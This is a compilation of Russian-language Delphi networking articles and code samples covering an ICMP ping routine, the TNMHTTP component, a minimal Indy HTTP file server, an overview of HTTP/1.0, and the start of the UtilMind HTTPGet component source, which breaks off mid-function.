      WSACleanup();
      FreeLibrary(HNDicmp);
    end;

  Destino.S_addr := inet_addr(Pchar(Edit1.text));
  if (Destino.S_addr = 0) then
    begin
      Host := GetHostbyName(PChar(Edit1.text));
    end
  else
    begin
      Host := GetHostbyAddr(@Destino, sizeof(in_addr), AF_INET);
    end;

  if (host = nil) then
    begin
      Application.MessageBox('Host nгo encontrado', 'Error', MB_OK);
      WSACleanup();
      FreeLibrary(HNDicmp);
      exit;
    end;
  memo1.Lines.Add('Pinging ' + Edit1.text);

  Endereco := @Host.h_addr_list;

  HNDFile := IcmpCreateFile();
  for x := 0 to 4 do
    begin
      Ip.Ttl := char(255);
      Ip.Tos := char(0);
      Ip.IPFlags := char(0);
      Ip.OptSize := char(0);
      Ip.Options := nil;

      dwRetorno := IcmpSendEcho(
        HNDFile,
        Endereco^,
        null,
        0,
        Ip,
        Icmp,
        sizeof(Icmp),
        DWORD(5000));
      Destino.S_addr := icmp.source;
      Memo1.Lines.Add('Pingou ' + Edit1.text);
    end;

  IcmpCLoseHandle(HNDFile);
  FreeLibrary(HNDicmp);
  WSACleanup();
end;

end.

Взято из http://forum.sources.ru


Работа с HTTP

Cодержание раздела:

Использование HTTP в Delphi
Пример простейшего HTTP сервера
HyperText Transfer Protocol - протокол обмена WWW-серверов New!
Пример HTTP Get - загружаем файлы и страницы из Интернета New!


Использование HTTP в Delphi

Введение

В связи с все большим вниманием, которое привлекает к себе Интернет, все больше людей становятся заинтересованы в сетевых технологиях. Данная статья посвящена программированию на Borland Delphi с использованием одного из самых популярных Интернет-протоколов - HTTP.
А именно, здесь мы рассмотрим компонент TNMHTTP (NetMasters HTTP), который можно обнаружить на вкладке FastNet палитры компонентов Дельфи.
Начнем с теории. Если Вы уже знаете, что такое HTTP и зачем он нужен, то пропустите следующий раздел.

Зачем нужен HTTP

Итак, где же используется HTTP? Если Вы хотя бы чуть-чуть заглядывали на Интернет-странички и встречались с термином Web, то наверняка обратили внимание на то, что адреса страничек, как правило, начинаются с http://. Протокол HTTP (HyperText Transfer Protocol) позволяет принимать и посылать не только гипертекстовые документы (типа html), но и любые другие (тексты (txt), изображения (gif, jpg), и т.д.). Ниже приведены типовые задачи, для выполнения которых необходимо использовать HTTP:
· Браузеры - программы, позволяющие просматривать Интернет-странички;
· Скачивальщики - программы, позволяющие скачивать из Интернета странички, рисунки и другие документы;
· Чаты - программы, позволяющие общаться по сети. Часто документы HTTP используются для хранения сообщений (как, например, в конференциях).
- Это лишь список некоторых из стандартных направлений программирования с использованием HTTP. Вы можете применять этот протокол для любых своих целей. Например, автоматические системы обновления данных, посылка запросов в Интернетовские базы, и еще множество всяческих других возможностей!

Краткое описание свойств, методов и событий

Ниже приведена таблица, содержащая наиболее краткое описание основных свойств, методов и событий компонента TNMHTTP:

Свойства
Body - строка, содержащая либо путь к файлу, в который будет записано тело http-документа (если св-во InputFileMode равно True), либо непосредственно само тело (если св-во InputFileMode равно False). Тип: string;
Header - строка, содержащая либо путь к файлу, в который будет записан заголовок http-документа (если св-во InputFileMode равно True), либо непосредственно сам заголовок (если св-во InputFileMode равно False). Тип: string;
HeaderInfo - структура, содержащая различную информацию о http-документе (подробней см. в help-файле). Тип: THeaderInfo;
InputFileMode - тип записи результата. Значение True - запись в файлы, указанные в свойствах Body и Header, False - запись в сами эти свойства. Тип: Boolean;
OutputFileMode - тип отсылаемых данных (методами Put, Post и Trace). Значение True - данные для отправки содержатся в файлах, указанных при вызове этих методов, а False - в самих аргументах этих методов. Тип: Boolean;
Далее некоторые свойства, унаследованные от TPowerSock:
BytesRecvd, BytesSent, BytesTotal - количество отправленных, принятых и общее количество байтов соотвественно. Тип: LongInt;
Connected - показывает, установленно ли в данный момент соединение. Тип: Boolean;
BeenCanceled - показывает, было ли прервано соединение с сервером. Тип: Boolean;
Host - строка, содержащая хост-имя удаленного компьютера. Заполнять не надо, так как это свойство устанавливается автоматически при вызове методов Get, Put, Post и т.д. Тип: string. Port - Integer, содержащий порт удаленного компьютера (заполняется тоже автоматически);
TimeOut - таймаут в миллисекундах. Тип: Integer;
Еще есть множество свойств, но я пока остановлюсь на уже перечисленных. За дополнительной информацией обращайтесь к help-у по Дельфи.

Методы
Get(URL: string) - посылает запрос на указанный URL. Данные после выполнения этого запроса записываются в файлы или в сами свойства Body и Header (в зависимости от значения свойства InputFileMode);
Head(URL: string) - посылает запрос на указанный URL. Данные после выполнения этого запроса записываются в файл или в само свойство Header (в зависимости от значения свойства InputFileMode). В отличие от метода Get, при вызове Head запрос отсылается только на заголовок http-документа;
Post(URL, PostData: string) - посылает запрос на изменение http-документа (с адресом URL) на данные, содержащиеся в параметре PostData. Если OutputFileMode равен True, то в PostData должен содержаться путь к файлу, содержащему нужные данные.
Put(URL, PutData: string) - посылает запрос на создание http-документа (с адресом URL), содержащего данные, переданные в параметре PutData. Если OutputFileMode равен True, то в PostData должен содержаться путь к файлу, содержащему нужные данные.
Trace(URL, TraceData: string) - посылает запрос на получение отладочных данных (для отладки соединения с HTTP-сервером). Данные для запроса нужно указать в параметре TraceData. Если OutputFileMode равен True, то в TraceData должен содержаться путь к файлу, содержащему нужные данные.
Delete(URL: string) - посылает запрос на удаление http-документа (с адресом URL).
Далее некоторые методы, унаследованные от TPowerSock:
Abort и Cancel - прерывают соединение и обмен данными;
Disconnect - отсоединение от HTTP-сервера;

События
OnAuthenticationNeeded - возникает, когда сервер требует указания имени пользователя и пароля. В обработчике этого события (если оно возникнет) Вы должны ответить серверу, запонив нужными значениями соответствующие переменные. Примечание: Перед установлением соединения можно сразу заполнить поля UserID и Password в свойстве HeaderInfo;
OnAboutToSend - возникает, когда компонент TNMHTTP собирается отправлять данные (запрос). В обработчике этого события можно заполнить дополнительной информацией свойство SendHeader;
OnFailure - возникает, когда текущая операция завершилась неудачно, т.е. произошла ошибка;
OnRedirect - возникает, сервер переадресовал ссылку с указанной URL на другую ссылку. Установив параметр handled в значение True можно запретить переадресацию и остановиться на запрошенной URL. Значение по умолчанию - False;
OnSuccess - возникает, когда текущая операция завершилась успешно, т.е. запрос был выполнен без ошибок;
Далее некоторые методы, унаследованные от TPowerSock:
OnConnect - возникает, когда соединение с сервером успешно установлено;
OnDisconnect - возникает, когда соединение с сервером завершено;
OnConnectionFailed - возникает, когда соединение с сервером установить не удалось;
OnError - возникает, когда последняя операция была завершена с ошибкой;
OnHostResolved - возникает, когда от DNS получен IP-адрес указанного хоста;
OnInvalidHost - возникает, когда DNS вернул ошибку при попытке определить IP-адрес указанного хоста;
OnPacketRecvd - возникает, когда значения свойств BytesRecvd и BytesTotal изменены, т.е. была принята новая порция данных от сервера;
OnPacketSent - возникает, когда значения свойств BytesSent и BytesTotal изменены, т.е. была отправлена новая порция данных на сервер;
OnStatus - возникает, когда статус компонента был изменен (для обновления визуального оповещения пользователя);

Практика и примеры

Ну а теперь приступим к самому главному методу изучения - на примерах. Сразу замечу, что все приведенные здесь примеры можно скачать в полностью сделанных исходниках, щелкнув здесь.
И самый первый пример - программа, позволяющая определить, существует ли заданный URL:

Пример 1. Проверка существования указанной URL

{... Здесь идет заголовок файла и определение формы TForm1 и ее экземпляра Form1}

{В форму нужно поместить кнопку TButton и одно поле TEdit. При нажатии на кнопку вызывается обработчик события OnClick - Button1Click. Перед этим в TEdit нужно ввести адрес URL.
НЕ ЗАБУДЬТЕ ПОМЕСТИТЬ В ФОРМУ КОМПОНЕНТ TNMHTTP!}
procedure Button1Click(Sender: TObject);
begin
  {Пытаемя получить заголовок}
  NMHTTP1.Head(Edit1.Text);
  {Если URL неверный, то здесь выскочит ошибка}
end;

Пример 2. Скачивание указанной URL в заданный файл

{... Здесь идет заголовок файла и определение формы TForm1 и ее экземпляра Form1}

{В форму нужно поместить кнопку TButton и три поля TEdit. При нажатии на кнопку вызывается обработчик события OnClick - Button1Click. Перед этим в первый TEdit нужно ввести адрес URL, во второй - имя файла для заголовка, а в третий - имя файла для тела странички (html).
НЕ ЗАБУДЬТЕ ПОМЕСТИТЬ В ФОРМУ КОМПОНЕНТ TNMHTTP!}
procedure Button1Click(Sender: TObject);
begin
  {Пытаемся получить http-документ}
  {Результат надо записать в файлы}
  NMHTTP1.InputFileMode := True;
  {А здесь указываем в какие именно файлы}
  NMHTTP1.Header := Edit2.Text;
  NMHTTP1.Body := Edit3.Text;
  NMHTTP1.Get(Edit1.Text);
end;

Пример 3. Одновременное скачивание указанных URL в заданный каталог

{... Здесь идет заголовок файла и определение формы TForm1 и ее экземпляра Form1}

{Описание класса отдельного процесса}
type
  THTTPThread = class(TThread)
  private
     {Для каждого процесса - создаем свой компонент TNMHTTP}
    FHTTP: TNMHTTP;
  protected
{Execute вызывается при запуске процесса; override - заменяем существующую процедуру базового класса TThread}
    procedure Execute; override;
{DoWork - созданная нами функция, выполнение которой синхронизируется в Execute}
    procedure DoWork;
  public
{URL - созданная нами строка, указывающая процессу, какой URL ему нужно скачать}
    URL: string;
  end;

{В форму нужно поместить три кнопки TButton, одно поле TEdit и один список TListBox. При нажатии на кнопку Button1 вызывается обработчик события OnClick - Button1Click. Перед этим в TEdit нужно ввести путь к каталогу, в котором будут храниться скачанные файлы, а ListBox1 нужно заполнить списком URL-ов для скачивания (с помощью кнопок Add (Button2) и Delete (Button3)).}
procedure TForm1.Button3Click(Sender: TObject);
begin
  {Удаление выделенного URL из списка}
  if ListBox1.ItemIndex >= 0 then
    ListBox1.Items.Delete(ListBox1.ItemIndex);
end;

procedure TForm1.Button2Click(Sender: TObject);
  var s: string;
begin
  {Добавление URL в список}
  s := InputBox('Добавить','Введите URL:','');
  if s <> '' then
    ListBox1.Items.Add(s);
end;

procedure TForm1.Button1Click(Sender: TObject);
  var i: Integer;
begin
  {Проверка на существование каталога}
  if Length(Edit1.Text) > 0 then
    if not DirectoryExists(Edit1.Text) then
      MkDir(Edit1.Text);
  {Далее идет создание для каждого URL в списке своего процесса}
  for i := 0 to ListBox1.Items.Count-1 do begin
    with THTTPThread.Create(True) do begin
      {Создаем приостановленную задачу, указываем ей ее URL и запускаем ее}
      URL := ListBox1.Items[i];
      Resume;
    end;
  end;
end;

  {Операторы процесса THTTPThread}

procedure THTTPThread.Execute;
begin
  {Делаем так, чтобы каждый процесс выполнялся одновременно с другими (синхронизация)}
  Synchronize(DoWork);
end;

procedure THTTPThread.DoWork;
  var i: Integer;
begin
  {Создаем компонент TNMHTTP}
  FHTTP := TNMHTTP.Create(Form1);
  {Результат надо записывать в файлы}
  FHTTP.InputFileMode := True;
  {Подбираем имена для файлов}
  i := 1;
  while FileExists(Form1.Edit1.Text+'\page'+IntToStr(i)+'.htm') do
    Inc(i);
  {Указываем, в какие именно файлы класть результат}
  FHTTP.Body := Form1.Edit1.Text+'\body'+IntToStr(i)+'.htm';
  FHTTP.Header := Form1.Edit1.Text+'\header'+IntToStr(i)+'.txt';
  {Пытаемся послать запрос}
  FHTTP.Get(URL);
  {Перед завершением процесса не забываем освободить память из-под компонента}
  FHTTP.Free;
end;

Замечания по алгоритмам типовых задач

Если Вы собираетесь создать скачивалку сайтов, то Вам необходимо учитывать следующее (решить следующие проблемы):
· Нужно скачивать не только саму страничку в формате HTML, но и все входящие в нее рисунки (gif, jpg, и т.д.);
· в некоторых случаях удобно скачивать не одну страничку, а несколько страниц, ссылки на которые находятся на первой из скачиваемых страничек. При этом нужно учитывать, что на страничке могут находиться и ссылки на другие сайты, поэтому необходимо анализировать скачиваемые ссылки (чтобы случайно не скачать весь Интернет). Для решения задачи со скачиванием нескольких страничек нужно использовать рекурсию;
· необходимо качественно информировать пользователя о ходе закачки. Т.е. показывать общее и скачанное количество информации;
· после скачивания нужно заменить Интернетовские ссылки на локальные, чтобы можно было просматривать странички в режиме offline.
·

Эпилог

В этой статье отображены основные приемы работы с компонентом TNMHTTP в Дельфи. Если у Вас есть вопросы - скидывайте их мне на E-mail: snick@mailru.com, а еще лучше - пишите в конференции этого сайта (Delphi. Общие вопросы), чтобы и другие пользователи смогли увидеть Ваш вопрос и попытаться на него ответить!
Замечу, что TNMHTTP - не единственный компонент, релизующий доступ по протоколу HTTP. Есть и его аналоги с более расширенными возможностями, например, набор компонентов ICS (Internet Component Suite), в состав которого входит даже компонент FTPServer, позволяющий легко запрограммировать свой собственный сервер FTP для Windows. Этот набор можно скачать на сайте Delphi Super Page.
Карих Николай. Московская область, г.Жуковский

Взято из http://forum.sources.ru


Пример простейшего HTTP сервера

unit uMainForm;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  IdBaseComponent, IdComponent, IdTCPServer, IdHTTPServer, StdCtrls,
  ExtCtrls, HTTPApp;

type
  TfrmServer = class(TForm)
    httpServer: TIdHTTPServer;
    chkActive: TCheckBox;
    Label1: TLabel;
    edtRootFolder: TEdit;
    btnGetFolder: TButton;
    Label2: TLabel;
    edtDefaultDoc: TEdit;
    lstLog: TListBox;
    Bevel1: TBevel;
    btnClearLog: TButton;
    procedure btnGetFolderClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure chkActiveClick(Sender: TObject);
    procedure btnClearLogClick(Sender: TObject);
    procedure httpServerCommandGet(AThread: TIdPeerThread;
      RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);
    procedure pgpEHTMLHTMLTag(Sender: TObject; Tag: TTag;
      const TagString: string; TagParams: TStrings;
      var ReplaceText: string);
  private
    procedure Log(Data: string);
    procedure LogServerState;
  public
  end;

var
  frmServer: TfrmServer;

implementation

uses
  ShlObj, FileCtrl;

{$R *.DFM}

// copied from the last "Latium Software - Pascal Newsletter #33"

function BrowseCallbackProc(Wnd: HWND; uMsg: UINT;
  lParam, lpData: LPARAM): Integer stdcall;
var
  Buffer: array[0..MAX_PATH - 1] of char;
begin
  case uMsg of
    BFFM_INITIALIZED:
      if lpData <> 0 then
        SendMessage(Wnd, BFFM_SETSELECTION, 1, lpData);
    BFFM_SELCHANGED:
      begin
        SHGetPathFromIDList(PItemIDList(lParam), Buffer);
        SendMessage(Wnd, BFFM_SETSTATUSTEXT, 0, Integer(@Buffer));
      end;
  end;
  Result := 0;
end;

// copied from the last "Latium Software - Pascal Newsletter #33"

function BrowseForFolder(Title: string; RootCSIDL: integer = 0;
  InitialFolder: string = ''): string;
var
  BrowseInfo: TBrowseInfo;
  Buffer: array[0..MAX_PATH - 1] of char;
  ResultPItemIDList: PItemIDList;
begin
  with BrowseInfo do
  begin
    hwndOwner := Application.Handle;
    if RootCSIDL = 0 then
      pidlRoot := nil
    else
      SHGetSpecialFolderLocation(hwndOwner, RootCSIDL,
        pidlRoot);
    pszDisplayName := @Buffer;
    lpszTitle := PChar(Title);
    ulFlags := BIF_RETURNONLYFSDIRS or BIF_STATUSTEXT;
    lpfn := BrowseCallbackProc;
    lParam := Integer(Pointer(InitialFolder));
    iImage := 0;
  end;
  Result := '';
  ResultPItemIDList := SHBrowseForFolder(BrowseInfo);
  if ResultPItemIDList <> nil then
  begin
    SHGetPathFromIDList(ResultPItemIDList, Buffer);
    Result := Buffer;
    GlobalFreePtr(ResultPItemIDList);
  end;
  with BrowseInfo do
    if pidlRoot <> nil then
      GlobalFreePtr(pidlRoot);
end;

// clear log file

procedure TfrmServer.btnClearLogClick(Sender: TObject);
begin
  lstLog.Clear;
end;

// got http server root folder

procedure TfrmServer.btnGetFolderClick(Sender: TObject);
var
  NewFolder: string;
begin
  NewFolder := BrowseForFolder('Web Root Folder', 0, edtRootFolder.Text);
  if NewFolder <> '' then
    if DirectoryExists(NewFolder) then
      edtRootFolder.Text := NewFolder;
end;

// de-activate http server

procedure TfrmServer.chkActiveClick(Sender: TObject);
begin
  if chkActive.Checked then
  begin
    // root folder must exists
    if AnsiLastChar(edtRootFolder.Text)^ = '\' then
      edtRootFolder.Text :=
        Copy(edtRootFolder.Text, 1, Pred(Length(edtRootFolder.Text)));
    chkActive.Checked := DirectoryExists(edtRootFolder.Text);
    if not chkActive.Checked then
      ShowMessage('Root Folder does not exist.');
  end;
  // de-/activate server
  httpServer.Active := chkActive.Checked;
  // log to list box
  LogServerState;
  // set interactive state for user fields
  edtRootFolder.Enabled := not chkActive.Checked;
  edtDefaultDoc.Enabled := not chkActive.Checked;
end;

// prepare !

procedure TfrmServer.FormCreate(Sender: TObject);
begin
  edtRootFolder.Text := ExtractFilePath(Application.ExeName) + 'WebSite';
  ForceDirectories(edtRootFolder.Text);
end;

// incoming client request for download

procedure TfrmServer.httpServerCommandGet(AThread: TIdPeerThread;
  RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);
var
  I: Integer;
  RequestedDocument, FileName, CheckFileName: string;
  EHTMLParser: TPageProducer;
begin
  // requested document
  RequestedDocument := RequestInfo.Document;
  // log request
  Log('Client: ' + RequestInfo.RemoteIP + ' request for: ' + RequestedDocument);

  // 001
  if Copy(RequestedDocument, 1, 1) <> '/' then
    // invalid request
    raise Exception.Create('invalid request: ' + RequestedDocument);

  // 002
  // convert all '/' to '\'
  FileName := RequestedDocument;
  I := Pos('/', FileName);
  while I > 0 do
  begin
    FileName[I] := '\';
    I := Pos('/', FileName);
  end;
  // locate requested file
  FileName := edtRootFolder.Text + FileName;

  try
    // check whether file or folder was requested
    if AnsiLastChar(FileName)^ = '\' then
      // folder - reroute to default document
      CheckFileName := FileName + edtDefaultDoc.Text
    else
      // file - use it
      CheckFileName := FileName;
    if FileExists(CheckFileName) then
    begin
      // file exists
      if LowerCase(ExtractFileExt(CheckFileName)) = '.ehtm' then
      begin
        // Extended HTML - send through internal tag parser
        EHTMLParser := TPageProducer.Create(Self);
        try
          // set source file name
          EHTMLParser.HTMLFile := CheckFileName;
          // set event handler
          EHTMLParser.OnHTMLTag := pgpEHTMLHTMLTag;
          // parse !
          ResponseInfo.ContentText := EHTMLParser.Content;
        finally
          EHTMLParser.Free;
        end;
      end
      else
      begin
        // return file as-is
        // log
        Log('Returning Document: ' + CheckFileName);
        // open file stream
        ResponseInfo.ContentStream :=
          TFileStream.Create(CheckFileName, fmOpenRead or fmShareCompat);
      end;
    end;
  finally
    if Assigned(ResponseInfo.ContentStream) then
    begin
      // response stream does exist
      // set length
      ResponseInfo.ContentLength := ResponseInfo.ContentStream.Size;
      // write header
      ResponseInfo.WriteHeader;
      // return content
      ResponseInfo.WriteContent;
      // free stream
      ResponseInfo.ContentStream.Free;
      ResponseInfo.ContentStream := nil;
    end
    else if ResponseInfo.ContentText <> '' then
    begin
      // set length
      ResponseInfo.ContentLength := Length(ResponseInfo.ContentText);
      // write header
      ResponseInfo.WriteHeader;
      // return content
    end
    else
    begin
      if not ResponseInfo.HeaderHasBeenWritten then
      begin
        // set error code
        ResponseInfo.ResponseNo := 404;
        ResponseInfo.ResponseText := 'Document not found';
        // write header
        ResponseInfo.WriteHeader;
      end;
      // return content
      ResponseInfo.ContentText := 'The document requested is not availabe.';
      ResponseInfo.WriteContent;
    end;
  end;
end;

procedure TfrmServer.Log(Data: string);
begin
  lstLog.Items.Add(DateTimeToStr(Now) + ' - ' + Data);
end;

procedure TfrmServer.LogServerState;
begin
  if httpServer.Active then
    Log(httpServer.ServerSoftware + ' is active')
  else
    Log(httpServer.ServerSoftware + ' is not active');
end;

procedure TfrmServer.pgpEHTMLHTMLTag(Sender: TObject; Tag: TTag;
  const TagString: string; TagParams: TStrings; var ReplaceText: string);
var
  LTag: string;
begin
  LTag := LowerCase(TagString);
  if LTag = 'date' then
    ReplaceText := DateToStr(Now)
  else if LTag = 'time' then
    ReplaceText := TimeToStr(Now)
  else if LTag = 'datetime' then
    ReplaceText := DateTimeToStr(Now)
  else if LTag = 'server' then
    ReplaceText := httpServer.ServerSoftware;
end;

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


HyperText Transfer Protocol - протокол обмена WWW-серверов

HyperText Transfer Protocol (HTTP) - это протокол прикладного уровня, применяемый в распределенных информационных системах гипермедиа. HTTP используется проектом World Wide Web с 1990 года.

HTTP/1.0 предоставляет открытое множество методов, которые могут быть использованы для указания целей запроса. Они построены на дисциплине ссылок, где для указания ресурса, к которому должен быть применен данный метод, используется Универсальный Идентификатор Ресурсов (Universal Resource Identifier - URI), в виде местонахождения (URL) или имени (URN). Формат сообщений сходен с форматом Internet Mail или Multipurpose Internet Mail Extensions (MIME-Многоцелевое Расширение Почты Internet).

HTTP/1.0 используется также для коммуникаций между различными пользовательскими просмотрщиками и шлюзами, дающими гипермедиа доступ к существующим Internet протоколам, таким как SMTP, NNTP, FTP, Gopher и WAIS. HTTP/1.0 разработан, чтобы позволять таким шлюзам через proxy серверы, без какой-либо потери передавать данные с помощью упомянутых протоколов более ранних версий.

Общая Структура

HTTP основывается на парадигме запросов/ответов. Запрашивающая программа (обычно она называется клиент) устанавливает связь с обслуживающей программой-получателем (обычно называется сервер) и посылает запрос серверу в следующей форме: метод запроса, URI, версия протокола, за которой следует MIME-подобное сообщение, содержащее управляющую информацию запроса, информацию о клиенте и, может быть, тело сообщения. Сервер отвечает сообщением, содержащим строку статуса (включая версию протокола и код статуса - успех или ошибка), за которой следует MIME-подобное сообщение, включающее в себя информацию о сервере, метаинформацию о содержании ответа, и, вероятно, само тело ответа. Следует отметить, что одна программа может быть одновременно и клиентом и сервером. Использование этих терминов в данном тексте относится только к роли, выполняемой программой в течение данного конкретного сеанса связи, а не к общим функциям программы.

В Internet коммуникации обычно основываются на TCP/IP протоколах. Для WWW номер порта по умолчанию - TCP 80, но также могут быть использованы и другие номера портов - это не исключает возможности использовать HTTP в качестве протокола верхнего уровня.

Для большинства приложений сеанс связи открывается клиентом для каждого запроса и закрывается сервером после окончания ответа на запрос. Тем не менее, это не является особенностью протокола. И клиент, и сервер должны иметь возможность закрывать сеанс связи, например, в результате какого-нибудь действия пользователя. В любом случае, разрыв связи, инициированный любой стороной, прерывает текущий запрос, независимо от его статуса

Взято с http://delphiworld.narod.ru


Пример HTTP Get - загружаем файлы и страницы из Интернета

{*************************************************************}
{            HTTPGet component for Delphi 32                  }
{ Version:   1.94                                             }
{ E-Mail:    info@utilmind.com                                }
{ WWW:       http://www.utilmind.com                          }
{ Created:   October  19, 1999                                }
{ Modified:  June 6, 2000                                     }
{ Legal:     Copyright (c) 1999-2000, UtilMind Solutions      }
{*************************************************************}
{ PROPERTIES:                                                 }
{   Agent: String - User Agent                                }
{                                                             }
{*  BinaryData: Boolean - This setting specifies which type   }
{*                        of data will taken from the web.    }
{*                        If you set this property TRUE then  }
{*                        component will determinee the size  }
{*                        of files *before* getting them from }
{*                        the web.                            }
{*                        If this property is FALSE then as we}
{*                        do not knows the file size the      }
{*                        OnProgress event will doesn't work. }
{*                        Also please remember that is you set}
{*                        this property as TRUE you will not  }
{*                        capable to get from the web ASCII   }
{*                        data and ofter got OnError event.   }
{                                                             }
{   FileName: String - Path to local file to store the data   }
{                      taken from the web                     }
{   Password, UserName - set this properties if you trying to }
{                        get data from password protected     }
{                        directories.                         }
{   Referer: String - Additional data about referer document  }
{   URL: String - The url to file or document                 }
{   UseCache: Boolean - Get file from the Internet Explorer's }
{                       cache if requested file is cached.    }
{*************************************************************}
{ METHODS:                                                    }
{   GetFile - Get the file from the web specified in the URL  }
{             property and store it to the file specified in  }
{             the FileName property                           }
{   GetString - Get the data from web and return it as usual  }
{               String. You can receive this string hooking   }
{               the OnDoneString event.                       }
{   Abort - Stop the current session                          }
{*************************************************************}
{ EVENTS:                                                     }
{   OnDoneFile - Occurs when the file is downloaded           }
{   OnDoneString - Occurs when the string is received         }
{   OnError - Occurs when error happend                       }
{   OnProgress - Occurs at the receiving of the BINARY DATA   }
{*************************************************************}
{ Please see demo program for more information.               }
{*************************************************************}
{                     IMPORTANT NOTE:                         }
{ This software is provided 'as-is', without any express or   }
{ implied warranty. In no event will the author be held       }
{ liable for any damages arising from the use of this         }
{ software.                                                   }
{ Permission is granted to anyone to use this software for    }
{ any purpose, including commercial applications, and to      }
{ alter it and redistribute it freely, subject to the         }
{ following restrictions:                                     }
{ 1. The origin of this software must not be misrepresented,  }
{    you must not claim that you wrote the original software. }
{    If you use this software in a product, an acknowledgment }
{    in the product documentation would be appreciated but is }
{    not required.                                            }
{ 2. Altered source versions must be plainly marked as such,  }
{    and must not be misrepresented as being the original     }
{    software.                                                }
{ 3. This notice may not be removed or altered from any       }
{    source distribution.                                     }
{*************************************************************}

unit HTTPGet;

interface

uses
  Windows, Messages, SysUtils, Classes, WinInet;

type
  TOnProgressEvent = procedure(Sender: TObject; TotalSize, Readed: Integer) of object;
  TOnDoneFileEvent = procedure(Sender: TObject; FileName: String; FileSize: Integer) of object;
  TOnDoneStringEvent = procedure(Sender: TObject; Result: String) of object;

  THTTPGetThread = class(TThread)
  private
    FTAcceptTypes,
    FTAgent,
    FTURL,
    FTFileName,
    FTStringResult,
    FTUserName,
    FTPassword,
    FTPostQuery,
    FTReferer: String;
    FTBinaryData,
    FTUseCache: Boolean;

    FTResult: Boolean;
    FTFileSize: Integer;
    FTToFile: Boolean;

    BytesToRead, BytesReaded: DWord;

    FTProgress: TOnProgressEvent;

    procedure UpdateProgress;
  protected
    procedure Execute; override;
  public
    constructor Create(aAcceptTypes, aAgent, aURL, aFileName, aUserName, aPassword,
      aPostQuery, aReferer: String; aBinaryData, aUseCache:
      Boolean; aProgress: TOnProgressEvent; aToFile: Boolean);
  end;

  THTTPGet = class(TComponent)
  private
    FAcceptTypes: String;
    FAgent: String;
    FBinaryData: Boolean;
    FURL: String;
    FUseCache: Boolean;
    FFileName: String;
    FUserName: String;
    FPassword: String;
    FPostQuery: String;
    FReferer: String;
    FWaitThread: Boolean;

    FThread: THTTPGetThread;
    FError: TNotifyEvent;
    FResult: Boolean;

    FProgress: TOnProgressEvent;
    FDoneFile: TOnDoneFileEvent;
    FDoneString: TOnDoneStringEvent;

    procedure ThreadDone(Sender: TObject);
  public
    constructor Create(aOwner: TComponent); override;
    destructor Destroy; override;

    procedure GetFile;
    procedure GetString;
    procedure Abort;
  published
    property AcceptTypes: String read FAcceptTypes write FAcceptTypes;
    property Agent: String read FAgent write FAgent;
    property BinaryData: Boolean read FBinaryData write FBinaryData;
    property URL: String read FURL write FURL;
    property UseCache: Boolean read FUseCache write FUseCache;
    property FileName: String read FFileName write FFileName;
    property UserName: String read FUserName write FUserName;
    property Password: String read FPassword write FPassword;
    property PostQuery: String read FPostQuery write FPostQuery;
    property Referer: String read FReferer write FReferer;
    property WaitThread: Boolean read FWaitThread write FWaitThread;

    property OnProgress: TOnProgressEvent read FProgress write FProgress;
    property OnDoneFile: TOnDoneFileEvent read FDoneFile write FDoneFile;
    property OnDoneString: TOnDoneStringEvent read FDoneString write FDoneString;
    property OnError: TNotifyEvent read FError write FError;
  end;

procedure Register;

implementation

//  THTTPGetThread

constructor THTTPGetThread.Create(aAcceptTypes, aAgent, aURL, aFileName, aUserName,
  aPassword, aPostQuery, aReferer: String; aBinaryData, aUseCache:
  Boolean; aProgress: TOnProgressEvent; aToFile: Boolean);
begin
  FreeOnTerminate := True;
  inherited Create(True);

  FTAcceptTypes := aAcceptTypes;
  FTAgent := aAgent;
  FTURL := aURL;
  FTFileName := aFileName;
  FTUserName := aUserName;
  FTPassword := aPassword;
  FTPostQuery := aPostQuery;
  FTReferer := aReferer;
  FTProgress := aProgress;
  FTBinaryData := aBinaryData;
  FTUseCache := aUseCache;

  FTToFile := aToFile;
  Resume;
end;

procedure THTTPGetThread.UpdateProgress;
begin
  FTProgress(Self, FTFileSize, BytesReaded);
end;

procedure THTTPGetThread.Execute;
var
  hSession, hConnect, hRequest: hInternet;
  HostName, FileName: String;
  f: File;
  Buf: Pointer;
  dwBufLen, dwIndex: DWord;
  Data: Array[0..$400] of Char;
  TempStr: String;
  RequestMethod: PChar;
  InternetFlag: DWord;
  AcceptType: LPStr;

  procedure ParseURL(URL: String; var HostName, FileName: String);

    procedure ReplaceChar(c1, c2: Char; var St: String);
    var
      p: Integer;
    begin
      while True do
       begin
        p := Pos(c1, St);
        if p = 0 then Break
        else St[p] := c2;
       end;
    end;

  var
    i: Integer;
  begin
    if Pos('http://', LowerCase(URL)) <> 0 then
      System.Delete(URL, 1, 7);

    i := Pos('/', URL);
    HostName := Copy(URL, 1, i);
    FileName := Copy(URL, i, Length(URL) - i + 1);

    if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then
      SetLength(HostName, Length(HostName) - 1);
  end;

 procedure CloseHandles;
 begin
   InternetCloseHandle(hRequest);
   InternetCloseHandle(hConnect);
   InternetCloseHandle(hSession);
 end;

begin
  try
    ParseURL(FTURL, HostName, FileName);

    if Terminated then
     begin
      FTResult := False;
      Exit;
     end;

    if FTAgent <> '' then
     hSession := InternetOpen(PChar(FTAgent),
       INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0)
    else
     hSession := InternetOpen(nil,
       INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

    hConnect := InternetConnect(hSession, PChar(HostName),
      INTERNET_DEFAULT_HTTP_PORT, PChar(FTUserName), PChar(FTPassword), INTERNET_SERVICE_HTTP, 0, 0);

    if FTPostQuery = '' then RequestMethod := 'GET'
    else RequestMethod := 'POST';

    if FTUseCache then InternetFlag := 0
    else InternetFlag := INTERNET_FLAG_RELOAD;

    AcceptType := PChar('Accept: ' + FTAcceptTypes);
    hRequest := HttpOpenRequest(hConnect, RequestMethod, PChar(FileName), 'HTTP/1.0',
                PChar(FTReferer), @AcceptType, InternetFlag, 0);

    if FTPostQuery = '' then
     HttpSendRequest(hRequest, nil, 0, nil, 0)
    else
     HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,
                     PChar(FTPostQuery), Length(FTPostQuery));

    if Terminated then
     begin
      CloseHandles;
      FTResult := False;
      Exit;
     end;

